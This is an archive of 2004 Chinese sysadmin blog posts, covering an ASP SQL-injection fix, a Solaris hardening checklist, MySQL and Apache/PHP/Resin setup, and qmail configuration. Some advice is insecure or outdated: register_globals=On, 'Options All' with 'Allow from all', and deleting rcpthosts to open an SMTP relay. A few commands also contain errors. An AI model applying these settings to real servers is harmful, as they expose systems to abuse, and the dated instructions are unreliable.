    修改sql="select * from article where articleid="&request("id")为
    sql="select * from article where articleid="& Sql_injection_id
    呵呵 大家都看明白了吧?如果这样做~别人只要提交的字符是非数字或者空就提示“非法ID”

    提醒大家以后在拿到一个ASP程序后不要直接就使用。最好是将数据库中的字段都系统的改一下名字。这样的话即使存在SQL注入的毛病,对想破解你密码的人来说也是无能为力的。这种修改方法在list.asp中也相同(动网的下载系统也有相应的list.asp的问题,都是这样解决)。原理就是对id提交进行验证过滤。

    Posted by vitter at 2004-10-13 13:08:41 | 评论 (0)

    October 08, 2004

    用SecureCRT来上传和下载数据

    SecureCRT可以使用linux下的zmodem协议来快速的传送文件.

    你只要设置一下上传和下载的默认目录就行
    options-->session options-->file transfer 下可以设置上传和下载的目录

    剩下的你只要在用SecureCRT登陆linux终端的时候:

    发送文件到客户端:


    sz filename

    zmodem接收可以自行启动.

    从客户端上传文件到linux服务端:
    只要服务端执行,


    rz

    然后在 SecureCRT 里选文件发送,协议 zmodem

    Posted by vitter at 2004-10-08 16:39:54 | 评论 (1)

    October 07, 2004

    Solaris系统安全加固列表

    一、安全理念
    1、安全的隐患更多来自于企业内部
    2、对于管理员的要求:不要信任任何人
    3、分层保护策略:假设某些安全保护层完全失效
    4、服务最小化
    5、为最坏的情况做打算

    二、物理安全
    1、记录进出机房的人员名单,考虑安装摄像机
    2、审查PROM是否被更换,可以通过记录hostid进行比较
    3、每个系统的OpenBoot口令应该不一样,口令方案不可预测
    4、系统安装完毕移除CD-ROM
    5、将版本介质放入不在本场地的介质储藏室中

    三、账号与口令策略
    1、超级用户的PATH(在/.profile中定义的)设置为:
    PATH = /usr/bin:/sbin:/usr/sbin
    任何用户的PATH或者LD_LIBRARY_PATH中都不应该包含“.”
    2、口令文件、影像文件、组文件
    /etc/passwd 必须所有用户都可读,root用户可写 –rw-r—r—
    /etc/shadow 只有root可读 –r--------
    /etc/group 必须所有用户都可读,root用户可写 –rw-r—r--
    3、口令安全
    Solaris强制口令最少6位,但是超级用户修改口令的时候不受这个限制
    强迫test账号每隔30天修改一次口令
    #passwd –n 30 test
    强迫test账号在下次登录的时候修改口令
    #passwd –f test
    禁止test账号修改口令
    #passwd –n 2 –x 1 test
    封锁test账号,禁止登录
    #passwd –l test
    4、组口令
    用newgrp 命令临时改变gid
    由于sysadmin组可执行admintool,必须要保护好,增加组口令的过程:
    删除不需要的成员(如果成员属于sysadmin,改变组时不需要口令)
    #passwd (通常封锁的账号)
    提取/etc/shadow中user的口令字符串插入到/etc/group中sysadmin的口令字段
    封锁user账号
    5、修改口令策略
    /etc/default/passwd文件
    MAXWEEKS=4 口令至少每隔4星期更改一次
    MINWEEKS=1 口令至多每隔1星期更改一次
    WARNWEEKS=3 修改口令后第三个星期会收到快要修改口令的信息
    PASSLENGTH=6 用户口令长度不少于6个字符
    6、限制使用su的组(只允许sysadmin组执行su命令)
    #chgrp sysadmin /bin/su
    #chmod o-rwx /bin/su
    7、su的纪录
    /etc/default/su文件
    SULOG=/var/adm/sulog
    SYSLOG=YES
    CONSOLE=/dev/console
    PATH=/usr/bin:
    SUPATH=/usr/sbin:/usr/bin
    8、禁止root远程登录
    /etc/default/login中设置CONSOLE=/dev/null
    在/etc/ftpusers里加上root。
    在SSH 配置文件加:permitRootLogin = no
    (Solaris 9自带SSH,缺省就禁止root登陆,对 Solaris 9,/etc/ftpusers 不再使用,FTP配置文件都在 /etc/ftpd/ 下面。如果 ftpd 启动时存在 /etc/ftpusers,它会被移动到 /etc/ftpd/下)


    四、系统加固
    1、为OpenBoot设置密码

    在Solaris中设置密码 # eeprom security-password
    在OpenBoot中设置密码 ok password
    在Solaris中设置安全级别(command) # eeprom security-mode=command
    在OpenBoot中设置安全级别(command) ok setenv security-mode command
    在OpenBoot中设置安全级别(full) ok setenv security-mode full

    2、取消不必须账号
    移去或者锁定那些不是必须的帐号,比如sys\uucp\nuucp\listen等等,简单的办法是在/etc/shadow的password域中放上NP字符。
    (简单办法是 passwd -l username)

    3、文件系统
    /etc目录中应该没有文件是组或者其他用户可写的
    find /etc/ -type f –perm –g+w –print (查找组可写文件)
    find /etc/ -type f –perm –o+w –print (查找其他用户可写文件)
    chmod –R go-w /etc (改变任何错误的组/其他用户的写权限)
    /var/adm/utmp和/var/adm/utmpx文件的权限应该是644

    4、X-Windows手工锁定(当管理员离开电脑的时候)
    CDE中面板上的加锁图标
    OpenWindows中-鼠标右键-Utilities-Lock Screen

    5、/etc的存取权限
    用chmod -R g-w /etc命令来移去组用户对/etc的写权限。

    6、打开数据包转发
    #ndd –set /dev/ip ip_forwarding 1 (在系统作为路由器的情况中执行)
    关闭数据包转发
    #ndd –set /dev/ip ip_forwarding 0 (建议把这条命令加入/etc/init.d/inetinit中)
    忽略重定向数据包(否则有遭到DOS的隐患)
    #ndd –set /dev/ip ip_ignore_redirects 1 (加入/etc/init.d/inetinit)
    不发送重定向数据包
    #ndd –set /dev/ip ip_send_redirects 0 (加入/etc/init.d/inetinit)
    禁止转发定向广播(如果网桥连结则不禁止)
    #ndd –set /dev/ip ip_forward_directed_broadcasts 0 (加入/etc/init.d/inetinit)
    禁止转发在数据源设置了路由的数据包
    #ndd –set /dev/ip ip_forward_src_routed 0 (加入/etc/init.d/inetinit)

    7、利用/etc/notrouter关闭IP转发
    创建/etc/notrouter文件,重启计算机(入侵者如果可以访问根目录,可以使用ndd命令重新开启IP转发)
    /etc/inet/hosts中的配置
    127.0.0.1 Localhost (所有系统都有这一项)
    192.168.0.13 Loghost (syslog使用的)
    192.168.0.109 wy_solaris (主机IP和主机名)
    /etc/defaultrouter包含了默认路由器的名称或者IP
    如果使用了默认路由器,在/etc/inet/hosts文件中必须包含路由器的名称,因为如果设置了路由表,系统将不会运行任何目录服务(DNS、NIS或者NIS+)

    8、cron(任务在/var/spool/cron/crontabs/ 一般行为在/etc/default/cron)
    格式:minute hour day-of-month month day-of-week command
    (每项间用空格,同一项两个数字间用逗号,每项为数字或者星号)
    配置:
    查看命令 crontab –l
    (1)进入只有本用户可读的目录
    (2)crontab –l > mycronfile
    (3)编辑mycronfile
    (4)crontab < mycronfile
    不要使用crontab –e命令,因为它会在/tmp下建立所有用户都可读的crontab副本
    访问cron系统
    /etc/cron.d/cron.allow (允许)
    /etc/cron.d/cron.deny (不允许)
    存在cron.allow,其中没有某用户,则不允许此用户访问cron系统
    存在cron.deny,其中没有某用户,则允许此用户访问cron系统
    在/etc/default/cron里设置了"CRONLOG=yes" 来记录corn的动作
    PATH中不应包含“/tmp”“~”“.”字样
    at(任务在/var/spool/cron/atjobs)
    /etc/cron.d/at.allow和/etc/cron.d/at.deny和cron文件完全一样

    9、增加静态路由
    格式: route add net net-address subnet-mask router hops
    例如: route add net 10.15.0.0 255.255.0.0 10.14.48.2 1
    (要到达10.15.x.x的网络,需要将数据包送往路由器10.14.48.2,距离10.15.x.x有一个跃点。这个命令将增加到启动文件/etc/rc2.d/S72inetsvc)
    增加动态路由(会带来安全隐患)
    在/etc/rc2.d/S72inetsvc中增加和是的命令行
    运行in.routed或者in.rdisc
    诊断工具snoop可以sniff,只有root可以使用,可以把snoop从不需要的UNIX机器上删除

    10、root的umask设置错误
    修改/etc/profile文件,将umask设为077或者027

    11、堆栈缓冲溢出攻击防护设置
    在/etc/system里加上如下语句,禁止缓冲溢出:
    echo "set noexec_user_stack=1" >> /etc/system
    echo "set noexec_user_stack_log=1" >> /etc/system
    (对 Solaris 9,可以对单个程序设定堆栈不可执行属性,前提是有该程序的源码,例如:# cc -M /usr/lib/ld/map.noexstk myprogram.c)

    12、使IP forwarding和sourec routing(源路)由无效
    在Inetinit中使IP forwarding和sourec routing(源路)由无效(假如有超过一个网络接口的话)。在/etc/init.d/inetinit中增加下面所示设置:
    ndd -set /dev/ip ip_forward_directed_broadcasts 0
    ndd -set /dev/ip ip_forward_src_routed 0
    ndd -set /dev/ip ip_forwarding 0

    13、防止TCP序列号预测攻击(ip欺骗)
    建议在/etc/default/inetinit中增加如下的生成初始化序列号设置来防止TCP序列号预测攻击(ip欺骗):TCP_STRONG_ISS=2

    14、(如果有ftp服务)不要使用匿名ftp
    /etc/inet/inetd.conf中的ftpd为(记录)
    ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd –dl
    决不能用root身份使用ftp(口令不加密)
    /etc/ftpusers中的增加超级用户(这里的账号禁止用ftp连接系统)
    FTP 服务暴露系统敏感信息
    编辑/etc/default/ftpd文件,假如文件不存在就新建一个,在文件中的加进以下一项:BANNER=XXXX(XXXX可以任意改变为任何一个版本信息),将该系统版本信息屏蔽.

    15、关闭NFS服务

    16、用SSH替代Telnet服务

    17、限制.rhosts、.netrc和/etc/hosts.equiv文件的使用
    限制.rhosts、.netrc和/etc/hosts.equiv文件的使用。r系列命令使用这些文件来访问系统。要为这些文件加锁,先创建它们,然后修改其属性为零即可。这样除了root用户就没有其它用户能创建或修改它们了。
    /usr/bin/touch /.rhosts /.netrc /etc/hosts.equiv
    /usr/bin/chmod 0 /.rhosts /.netrc /etc/hosts.equiv
    .rhosts文件可以作为一个典型的后门文件使用,在某用户的目录下存在.rhosts文件的话,任何用户都可以通过rlogin不需要口令以该用户的身份登录到系统。
    运行下面的命令全局查找.rhosts文件
    # find –name “.rhosts” –print

    18、使多路广播(multicasting)无效
    为了使多路广播(multicasting)无效请在/etc/init.d/inetsvc中注解掉"route add 224.0.0.0"周围的几行。

    19、关闭系统的snmp服务
    更改 /etc/rc2.d/K07snmpdx 和/etc/rc3.d/S76snmpdx文件名

    20、X-Windows不安全,可以使用ssh对其加密

    21、加强网络访问控制
    编辑/etc/inet.d/inetsvc,在inetd后面加上-t选项
    类似命令/usr/sbin/inetd –s –t
    停止再运行inetd
    运行的使用使用 #/usr/sbin/inetd –s –t

    22、网络访问控制
    原则:去掉不必要的网络访问,在所需要的网络访问周围简历访问控制

    Solaris网络服务(/etc/inet/services)[没有被注释/* */的服务可关闭]
    #ident "@(#)services 1.27 00/11/06 SMI" /* SVr4.0 1.8 */
    #
    #
    # Copyright (c) 1999-2000 by Sun Microsystems, Inc.
    # All rights reserved.
    #
    # Network services, Internet style
    #
    tcpmux 1/tcp /*必须*/
    echo 7/tcp
    echo 7/udp
    discard 9/tcp sink null
    discard 9/udp sink null
    systat 11/tcp users
    daytime 13/tcp
    daytime 13/udp
    netstat 15/tcp
    chargen 19/tcp ttytst source
    chargen 19/udp ttytst source
    ftp-data 20/tcp /*依服务可选*/
    ftp 21/tcp /*依服务可选*/
    ssh 22/tcp /*依服务可选*/
    telnet 23/tcp /*依服务可选*/
    smtp 25/tcp mail /*依服务可选*/
    time 37/tcp timserver
    time 37/udp timserver
    name 42/udp nameserver
    whois 43/tcp nicname # usually to sri-nic
    domain 53/udp /*依服务可选*/
    domain 53/tcp /*依服务可选*/
    bootps 67/udp # BOOTP/DHCP server
    bootpc 68/udp # BOOTP/DHCP client
    hostnames 101/tcp hostname # usually to sri-nic
    pop2 109/tcp pop-2 # Post Office Protocol - V2
    pop3 110/tcp # Post Office Protocol - Version 3
    sunrpc 111/udp rpcbind
    sunrpc 111/tcp rpcbind
    imap 143/tcp imap2 # Internet Mail Access Protocol v2
    ldap 389/tcp # Lightweight Directory Access Protocol
    ldap 389/udp # Lightweight Directory Access Protocol
    submission 587/tcp # Mail Message Submission
    submission 587/udp # see RFC 2476
    ldaps 636/tcp # LDAP protocol over TLS/SSL (was sldap)
    ldaps 636/udp # LDAP protocol over TLS/SSL (was sldap)
    #
    # Host specific functions
    #
    tftp 69/udp
    rje 77/tcp
    finger 79/tcp
    link 87/tcp ttylink
    supdup 95/tcp
    iso-tsap 102/tcp
    x400 103/tcp # ISO Mail
    x400-snd 104/tcp
    csnet-ns 105/tcp
    pop-2 109/tcp # Post Office
    uucp-path 117/tcp
    nntp 119/tcp usenet # Network News Transfer
    ntp 123/tcp # Network Time Protocol
    ntp 123/udp # Network Time Protocol
    netbios-ns 137/tcp # NETBIOS Name Service
    netbios-ns 137/udp # NETBIOS Name Service
    netbios-dgm 138/tcp # NETBIOS Datagram Service
    netbios-dgm 138/udp # NETBIOS Datagram Service
    netbios-ssn 139/tcp # NETBIOS Session Service
    netbios-ssn 139/udp # NETBIOS Session Service
    NeWS 144/tcp news # Window System
    slp 427/tcp slp # Service Location Protocol, V2
    slp 427/udp slp # Service Location Protocol, V2
    mobile-ip 434/udp mobile-ip # Mobile-IP
    cvc_hostd 442/tcp # Network Console
    #
    # UNIX specific services
    #
    # these are NOT officially assigned
    #
    exec 512/tcp
    login 513/tcp
    shell 514/tcp cmd # no passwords used
    printer 515/tcp spooler # line printer spooler
    courier 530/tcp rpc # experimental
    uucp 540/tcp uucpd # uucp daemon
    biff 512/udp comsat
    who 513/udp whod
    syslog 514/udp /*依服务可选*/
    talk 517/udp
    route 520/udp router routed
    ripng 521/udp
    klogin 543/tcp # Kerberos authenticated rlogin
    kshell 544/tcp cmd # Kerberos authenticated remote shell
    new-rwho 550/udp new-who # experimental
    rmonitor 560/udp rmonitord # experimental
    monitor 561/udp # experimental
    pcserver 600/tcp # ECD Integrated PC board srvr
    sun-dr 665/tcp # Remote Dynamic Reconfiguration
    kerberos-adm 749/tcp # Kerberos V5 Administration
    kerberos-adm 749/udp # Kerberos V5 Administration
    kerberos 750/udp kdc # Kerberos key server
    kerberos 750/tcp kdc # Kerberos key server
    krb5_prop 754/tcp # Kerberos V5 KDC propogation
    ufsd 1008/tcp ufsd # UFS-aware server
    ufsd 1008/udp ufsd
    cvc 1495/tcp # Network Console
    ingreslock 1524/tcp
    www-ldap-gw 1760/tcp # HTTP to LDAP gateway
    www-ldap-gw 1760/udp # HTTP to LDAP gateway
    listen 2766/tcp # System V listener port
    nfsd 2049/udp nfs # NFS server daemon (clts)
    nfsd 2049/tcp nfs # NFS server daemon (cots)
    eklogin 2105/tcp # Kerberos encrypted rlogin
    lockd 4045/udp # NFS lock daemon/manager
    lockd 4045/tcp
    dtspc 6112/tcp # CDE subprocess control /*依服务可选*/
    fs 7100/tcp # Font server /*依服务可选*/

    执行方法:
    /etc/inet/services在相应服务前加“#”注释掉
    /etc/inet/inetd.conf中注释掉services中相应的条目
    查找并重启inetd进程
    #ps –ef | grep inetd (获得进程号)
    #kill –HUP <进程号>
    停止在上述列表中没有定义的服务
    方法:将文件改名(用mv命令,可以将S改为X)
    停止相应进程
    服务:
    服务 文件 进程
    sendmail /etc/rc2.d/S88sendmail Sendmail
    DNS /etc/rc2.d/S72inetsvc中in.named一项注释掉 in.named
    named.xfer
    NFS /etc/rc3.d/S15nfs.server
    注释掉/etc/dfs/dfstab中条目 Nfsd
    Automounter /etc/rc2.d/S74autofs
    删除/etc/auto_*
    ntp /etc/rc2.d/S74xntpd Xntpd
    syslog /etc/rc2.d/S74syslog Syslogd
    打印 /etc/rc2.d/S80lp lpshut

    23、使Sendmail更安全
    使用最新版本的Berkeley sendmail (see section 3),从/etc/aliases里删除decode 将/etc/aliases的权限设为644,关掉expn和vrfy命令。将
    O PrivacyOptions=authwarning
    改成
    O PrivacyOptions=goaway
    检查 Sendmail 是否支持发信认证
    参考devtools/Site/README文件在devtools/Site下建立如下site.config.m4 文件:
    APPENDDEF(`conf_sendmail_ENVDEF', `-DSASL')
    APPENDDEF(`conf_sendmail_LIBS', `-lsasl')
    给Sendmail编译进SASL支持。
    cd sendmail; 执行:sh Build 编译sendmail。
    到cf/cf 目录下,拷贝 generic-linux.mc 为 sendmail.mc, 在sendmail.mc 中增加以下内容:
    define(`confSMTP_LOGIN_MSG',`$m Server')dnl
    改变sendmail欢迎信息
    define(`confAUTH_MECHANISMS', `LOGIN')dnl
    Unix帐号认证
    define(`confPRIVACY_FLAGS',`novrfy,noexpn,noverb')dnl 禁用命令
    define(`confMAX_DAEMON_CHILDREN', `128')dnl
    define(`confCONNECTION_RATE_THROTTLE', `32')dnl
    (抗拒绝服务攻击)

    24、增加DNS服务安全
    关闭 zone 转换选项
    不使用文件. named ,转而使用 /var/bind
    关闭 lame server log messages
    在/var/bind里面加入
    options {
    directory "/var/named";
    forwarders{
    202.106.120.1;
    };
    version "InterSoft Super DNS Server 2.0.4";
    allow-transfer {none;};
    };

    logging {
    category "lame-servers" { "null"; };
    };

    25、鉴于更改s位程序有可能影响正常服务,建议不要改动,但是可定期查看s位程序列表,对比是否有增减。
    # find / -perm -4000 -print

    26、使CDE程序无效(除非你坚持要使用图形控制台) [此项可选]
    使CDE程序无效(除非你坚持要使用图形控制台)
    将 /etc/rc2.d/S99dtlogin 改名

    五、使用sun的补丁检查工具检查系统安装的补丁情况
    运行该工具检查系统补丁的如下情况:
    - latest revisions
    - recommended patches
    - security patches
    - year 2000 patches
    - other patches relevant to the software environment
    (Sun 网站有专门的补丁检查工具)
    及时修补最新漏洞、打上补丁

    Posted by vitter at 2004-10-07 18:49:04 | 评论 (0)

    October 02, 2004

    mysql的Web数据库实例

    创建数据库

    确认运行着MySQL服务器进程。如果没有的话,请手动启动它:

    # /etc/rc.d/init.d/mysql start

    现在我们以MySQL客户程序的管理员身份启动它,这次我们将看到需要输入密码的提示:

    # mysql -u root -p
    Enter password: newpassword
    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 164 to server version: 5.0.0-alpha-debug-debug-log

    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
    mysql>

    新建数据库

    用命令:create database example 新建一个叫example的数据库。当使用MySQL客户程序的时候,请记住 在每个命令结束时加上;(分号)

    mysql> create database example;
    Query OK, 1 row affected (0.03 sec)
    mysql> use example;
    Database changed

    新建一个表

    在名字叫example的数据库中建立一个叫mytable的表:

    mysql> CREATE TABLE mytable (
    -> name CHAR(30),
    -> phone CHAR(10)
    -> );
    Query OK, 0 rows affected (0.00 sec)

    添加数据

    现在我们向数据库输入些数据。例如向表中插入一些条目,以下是操作步骤:

    mysql> INSERT INTO mytable VALUES ("Homer Simpson", "555-1234");
    Query OK, 1 row affected (0.05 sec)
    mysql> INSERT INTO mytable VALUES ("Bart Simpson", "555-4321")
    Query OK, 1 row affected (0.00 sec)
    mysql> INSERT INTO mytable VALUES ("Lisa Simpson", "555-3214");
    Query OK, 1 row affected (0.00 sec)
    mysql> INSERT INTO mytable VALUES ("Marge Simpson", "555-2314");
    Query OK, 1 row affected (0.00 sec)
    mysql> INSERT INTO mytable VALUES ("Maggie Simpson", "555-3142");
    Query OK, 1 row affected (0.00 sec)

    确认通过SELECT指令可以看到所有信息:

    mysql> SELECT * FROM mytable;
    +----------------+----------+
    | name | phone |
    +----------------+----------+
    | Homer Simpson | 555-1234 |
    | Bart Simpson | 555-4321 |
    | Lisa Simpson | 555-3214 |
    | Marge Simpson | 555-2314 |
    | Maggie Simpson | 555-3142 |
    +----------------+----------+
    5 rows in set (0.00 sec)

    新建数据库用户 

    我们已经建立了一个数据库并且输入了一些数据。现在必须新建一个用户帐号以便可以访问数据库,并且用GRANT命令赋予此用户特权:

    mysql> GRANT usage
    -> ON example.*
    -> TO vitter@localhost;
    Query OK, 0 rows affected (0.15 sec)

    此后就创建了一个新用户叫:vitter,这个用户只能从localhost连接到数据库并可以连接到example 数据库。下一步,我们必须指定vitter这个用户可以执行哪些操作:

    mysql>GRANT Select, Insert, Update, Delete, Create, References, Drop, Index, Alter
    -> ON example.*
    -> TO vitter@localhost;
    Query OK, 0 rows affected (0.00 sec)

    此操作使vitter能够在每一个example数据库中的表执行Select, Insert, Update等所有操作。现在我们结束操作并退出MySQL客户程序:

    mysql> exit
    Bye

    修改新用户密码

    # mysqladmin -u vitter -p password 'newpasswd'

    Posted by vitter at 2004-10-02 17:49:04 | 评论 (5)

    September 30, 2004

    Linux下apache运行mysql,cgi,php,jsp万能服务器的安装配置

    linux+apache+php+mysql+resin+JDK+cgi

    准备:
    mysql-debug-5.0.0-alpha-pc-linux-i686.tar.gz
    j2sdk-1_4_2_05-linux-i586.bin
    apache_1.3.31.tar.gz
    php-4.3.9.tar.bz2
    resin-2.1.13.tgz
    可能需要Zlib:zlib-1.2.1.tar.gz
    tar zcvf zlib-1.2.1.tar.gz
    cd zlib-1.2.1
    ./configure --prefix=/usr/zlib
    make
    make install
    以上都可以去官方网站下载。

    1.安装mysql
    groupadd mysql
    useradd -g mysql mysql
    cd /usr/local
    gunzip < /path/to/mysql-VERSION-OS.tar.gz | tar xvf -
    ln -s full-path-to-mysql-VERSION-OS mysql
    cd mysql
    scripts/mysql_install_db
    chown -R root .
    chown -R mysql data
    chgrp -R mysql .
    bin/mysqld_safe --user=mysql &
    bin/mysql
    bin/mysqladmin -u root -p password 'nespassword'

    2.安装apache+php
    tar zxvf apache_1.3.31.tar.gz
    cd /apacheXXXXXpath
    ./configure --prefix=/usr/local/apache_1.3.31 --enable-shared=max

    --enable-module=so

    cd /phpXXXpath
    ./configure --prefix=/usr/local/php

    --with-apxs=/usr/local/src/apache_1.3.31/bin/apxs

    --with-config-file-path=/usr/local/lib --enable-track-vars --with-xml

    --with-zlib-dir=/usr/zlib --with-mysql=/usr/local/mysql
    make
    make install

    cd /apacheXXXXXpath
    make
    make install

    3.安装resin+JDK
    ./j2sdk-1_4_2_05-linux-i586.bin
    安装到/usr/local/j2sdk1.4.2_05

    解压resin到/usr/local/resin-2.1.13

    修改resin的http.sh找到如下
    #JAVA_HOME=/usr/local/j2sdk1.4.2_05
    #export JAVA_HOME
    #RESIN_HOME=/usr/local/resin-2.1.13
    #export RESIN_HOME
    把注释去掉

    4.apache,php,mysql,resin,cgi结合
    配置resin
    cp resin模块
    cp mod_caucho.so /usr/local/src/apache_1.3.31/libexec

    修改resin
    vi resin.conf
    配置


    /usr/local/apache_1.3.31/htdocs/ 启动resin
    /usr/local/resin/bin/http.sh start

    配置php
    cp /php/php.ini-dist /usr/local/lib
    cd /usr/local/lib
    mv php.ini-dist php.ini
    vi php.ini
    修改
    register_globals=On
    :wq
    cd /usr/local/apache/conf
    vi httpd.conf

    配置cgi环境:
    寻找到#ScriptAlias /cgi-bin/ "/usr/local/apache_1.3.31/cgi-bin/"删除前面

    的#

    AllowOverride All
    Options All
    Order allow,deny
    Allow from all

    更改Options、Allow Override的参数为All。
    寻找到#AddHandler cgi-script .cgi。删除前面的#,在后面加上 .pl .pm

    配置php环境:
    找到DirectoryIndex index.html
    改为DirectoryIndex index.php index.jsp index.cgi index.html
    找到Options Indexes FollowSymLinks MultiViews
    改为Options FollowSymLinks MultiViews
    合适的地方加入
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    配置jsp环境:
    LoadModule caucho_module /usr/local/apache/libexec/mod_caucho.so
    #AddModule mod_caucho.c
    #
    CauchoConfigFile /usr/local/resin-2.1.13/conf/resin.conf

    SetHandler caucho-status

    #

    :wq
    cd ../bin

    apachectl restart

    cgi的mysql DBI DBA的安装:

    shell> perl -MCPAN -e shell
    cpan> install DBI
    cpan> install DBD::mysql


    4.测试
    写cgi,php,jsp测试脚本。网上各种探针很多故一下略若干行......

    5.写入启动脚本/etc/rc.local

    /usr/local/mysql/bin/mysqld_safe --user=mysql &

    /usr/local/resin-2.1.13/bin/httpd.sh start
    /usr/local/apache_1.3.31/bin/apachectl start

    Posted by vitter at 2004-09-30 10:19:17 | 评论 (2)

    September 26, 2004

    QMAIL使用常见问题

    1、QMAIL下的主要配置文件(/var/qmail/control目录下):

    文件名 默认值 使用者 用途
    badmailfrom none qmail-smtpd 黑名单地址
    bouncefrom MAILER-DAEMON qmail-send 退回邮件
    bouncehost me qmail-send 退回邮件
    concurrencylocal 10 qmail-send 本地同时投递邮件的数目
    concurrencyremote 20 qmail-send 同时投递至远程主机的数目
    defaultdomain me qmail-inject 默认域名
    defaulthost me qmail-inject 默认主机名
    databytes 0 qmail-smtpd 邮件的最大容量 (0=无限制)
    doublebouncehost me qmail-send
    doublebounceto postmaster qmail-send
    envnoathost me qmail-send 没有"@"的默认域名
    helohost me qmail-remote 主机名
    idhost me qmail-inject Message-ID的主机名
    localiphost me qmail-smtpd 本地IP的替代名
    locals me qmail-send 传递至本地的域名
    me 系统正式域名 various
    morercpthosts none qmail-smtpd 第二个rcpthosts
    percenthack none qmail-send 使用 "%"格式的域名
    plusdomain me qmail-inject
    qmqpservers none qmail-qmqpc QMQP服务器的IP地址
    queuelifetime 604800 qmail-send 在队列中邮件保存的时间(秒)
    rcpthosts none qmail-smtpd 接收邮件的域名
    smtpgreeting me qmail-smtpd
    smtproutes none qmail-remote
    timeoutconnect 60 qmail-remote SMTP连接超时时间
    timeoutremote 1200 qmail-remote 等待远程主机的时间
    timeoutsmtpd 1200 qmail-smtpd SMTP客户连接超时的时间
    virtualdomains none qmail-send 虚拟域名

    2、如何限制邮箱大小
    1、可以根据用户使用磁盘空间限制来控制邮箱的大小,但仅靠此还有几个问题:假如邮件太大被退回,这封信会延期发送,超过20M的邮件会一直在你的邮件队列里。可以用以下脚本来修复此问题。
    http://qmail.valueclick.com/qmail/qmail-1.03-quotas-1.1.patch
    2、另外一个解决方案,可在以下处找到http://www.tibus.net/pgregg/projects/qmail/mailquotacheck/
    ,它会根据设置情况对每个用户来检查所有传递进来的邮件,可以根据设置的大小来退回邮件,并不需要LINUX自已的磁盘限制。

    3 qmail的一些特殊配制

    3.1 如何设置Smart Host:
    # echo ":your.smart.host" > /var/qmail/control/smtproutes

    3.2 为其它主机转信

    在/var/qmail/control/rcpthosts添加
    21cn.com
    163.com

    3.3设置主机多个域名

    将名称加入/var/qmail/control/local,/var/qmail/control/rcpthosts
    /var/qmail/control/me

    3.4 别名

    本机不存的的进行转发
    如:webmaster@my.com(webmaster用户本地不存在) 转发给user1@my.com(user1为
    本地用户)
    方法:
    echo "user1">/var/qmail/alias/.qmail-webmaster

    echo "user1@21cn.com">/var/qmail/alias/.qmail-webmaster
    完全的email地址

    3.5 群发mailist

    假如发信给list@my.com时同多人可编辑
    /var/qmail/alias/.qmail-list内添加
    user1
    user2
    user3
    uu@21cn.com
    ss@163.net
    3.6 本地用户扩展

    user1,q1,q2,qq为本地用户user1-s1,user1-s2,user1-xxx不是本地用户
    设定发信给:user1-s1转为q1,user1-s2转为q2,
    user1-21转为dd@21cn.com,user1-list转为dd@21cn.com,q1,q2,qq
    user1-xxx(xxx表示其它名称)转为qq,
    echo "q1">/home/user1/.qmail-s1
    echo "qd@21cn.com">/home/user1/.qmail-21
    echo "q2">/home/user1/.qmail-s2
    echo "qq">/home/user1/.qmail-default
    编辑/home/user1/.qmail-list内容为
    dd@21cn.com
    q1
    q2
    qq


    3.7 如何设置虚拟主机
    如:
    虚拟主机 ttt.com 设定 webmaster@ttt.com 转给本地用户tttweb
    设定 help@ttt.com 转给外地用户help@other.com
    设定 其它@ttt.com 转给本地用户tttother
    方法:
    (1)将虚拟主机ttt.com加入/var/qmail/control/local和/var/qmail/control/rcpthosts
    (2) 然后在/var/qmail/control/virtualdomains中加入
    your.virtual.domains:tttcom
    (3) 加一个用户tttcom
    adduser tttcom
    这样所有发往me@ttt.com都将以testcom-me@test.com
    的形式发给testcom,
    (4) echo "tttweb">/home/testcom/.qmail-webmaster
    echo "help@other.com">/home/testcom/.qmail-help
    echo "tttother">/home/testcom/.qmail-default
    (5)从新启动qmail
    3.8 抄送
    如:发信给 user1@red.lx,同时抄送给user2,dd@21cn.com
    方法:编辑/home/user1/.qamil 内容如下
    ./Maildir/
    |forward user2 dd@21cn.com

    3.9 转信
    user1@red.lx转向dd@163.net
    方法:编辑/home/user1/.qamil 内容如下
    dd@163.net
    3.10 如何设置 qmail 为对外smtp服务器?(去掉转信和发信的限止)
    去掉/var/qmail/control/rcpthosts文件

    4、SMTP转发限制
    可以在以下网址找到:http://www.qcc.sk.ca/~bguenter/distrib/relay-ctrl/
    它可据主机和POP3验证来控制SMTP转发
    SMTP的验证信息可以在以下处找到:
    http://members.elysium.pl/brush/qmail-smtpd-auth/index.html
    http://members.elysium.pl/brush/cmd5checkpw/index.html
    http://members.elysium.pl/brush/smtp-auth/index.html

    5、处理队列中的邮件:
    如想在队列中的邮件马上传递,可以kill –HUP qmail-send
    要删除队列中的邮件
    1) 停止QMAIL
    2) find /var/qmail/queue/$i -type f -exec rm {} \;
    3) 重启QMAIL.
    队列中的邮件包含在以下目录中 /var/qmail/queue/{info,mess,remote,local}/hash/#number

    6、在邮件队列中快速删除从一个地方发过来但又不存在的邮件
    假设bad.jite.com是这个域
    可以键入以下命令
    # echo '#' > ~alias/.qmail-baddomain-default
    # echo bad.jite.com:alias-baddomain >>
    /var/qmail/control/virtualdomains
    # echo bad.jite.com:127.0.0.1 >> /var/qmail/control/smtproutes
    然后运行/var/qmail/bin/qmail-tcpok,给qmail-send 一个HUP信号

    7、LOG中的时间日志:
    为了便于统一时间管理,Log中的时间使用GMT,非本地时区,这点不能更改。

    关于别名
    如我需要一个帐号feng.ming@jite.com来收到fengm上的帐号,但设置了以后却收不到信?
    出于安全的考虑,qmail-local不处理带.号的帐号别名,可以使用:号来代替,另外别名不区分大小写。

    8、如何收取一个域名的部份帐号
    如果想接收aaa@jite.com,
    bbb@jite.com, ccc@jite.com, 但xxx@jite.com
    yyy@jite.com会发送到www3.jite.com.
    在control/rcphosts中加入jite.com
    在control/virtualdomains另入jite.com:alias-jite
    建立一个别名 ~alias/.qmail-example-aaa:
    &aaa
    bbb跟ccc一样
    建立 ~alias/.qmail-example-default:
    |forward "$DEFAULT@www3.jite.com"
    重启qmail
    另外的使用方法是用fastforward

    9、删除队列中的大量广告信息
    先停止QMAIL.
    1) 停止qmail, qmail-smtpd
    2) 在以下默认目录下 /var/qmail/queue/mess
    find /var/qmail/queue/mess -type f -exec grep "^Subject: asfafasfas" {} \; -print -exec rm {} \;
    3) 运行queue-fix 清除相关文件,
    4) 重启qmail.
